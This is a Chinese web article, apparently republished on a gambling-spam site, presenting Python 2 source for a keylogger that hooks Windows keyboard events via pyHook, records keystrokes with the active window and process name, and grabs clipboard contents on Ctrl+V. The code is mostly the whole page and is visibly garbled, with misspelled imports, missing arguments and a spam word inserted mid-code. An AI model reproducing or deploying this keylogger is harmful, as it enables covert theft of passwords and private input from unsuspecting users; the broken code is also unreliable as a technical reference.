联系我们 - 广告服务
您的当前位置:官网首页 > 资讯 > 时局 >

Python告诉你木马程序的键盘记录原理

来源: 编辑: 时间:2019-08-21
导读: python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows api的各种调用。python......

python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows api的各种调用。python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓"人生苦短,快用python"。

# -*- coding: utf-8 -*-
from ctypes inport
import pythoncom
import pyhook
import win32clipboard
user32 = winddll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
新太阳城current_window = note
def get_current_process:
#获取最上层的窗句柄
hwnd = user32.getforegroundwindow
#获取进程id
pid = c_ulong
user32. getwindowthreadprocessid)
#将进程id存入变量中
process_ = "%d" % pid.value
#申请内存
executable = create_string_buffer
h_process = kernel32.openprocess
psapi.getmodulebasenamea,512)
#读取窗口标题
windows_title = create_string_buffer
length = user32.getwindowtexta,512)
print
print "[pid:%s-%s-%s]" %
print
#关闭handles
kernel32.closehandle
kernel32.closehandle
#关闭键盘监听事件函数
def keystroke:
global current_window
#检测目标窗口是否转移
if event,windowname !=current_window:
current_window = event.windowname
#函数调用
get_current_process
#检测击键是否常规按键
if event.ascii 32 and enent .ascii 127 :
print chr,
else:
#如果发现ctrl + v事件,就粘贴板内容记录下来
if event.key == "v"
win32clipboard.openclipdoard
pasted_value = win32clipdoard. getclipdoarddata
win32clipdoard.closeclipboard
print "[paste]-%s" %,
else:
print "[%s]" %event.key,
循环监听下一个事件
return true
#创建并注册hook管理器
kl = pyhook.hookmanager
kl.keydown = keystroke
#注册hook并兴趣
kl.hookkeyboard
pythoncom.pumpmessages

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对萬仟网的支持。如果你想了解更多相关内容请查看下面相关链接

责任编辑:

打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

网友评论:

在“\templets\demo\comments.htm”原来的内容全部删除,插入第三方评论代码,如果不需要评论功能,删除comments.html里面的内容即可
推荐使用友言、多说、畅言(需备案后使用)等社会化评论插件

Copyright © 2018 太阳城娱乐场太阳城娱乐场-新太阳城 All Rights Reserved Power by DedeCms
本站所有资讯来源于网络 如有侵权请联系QQ:9490489
Top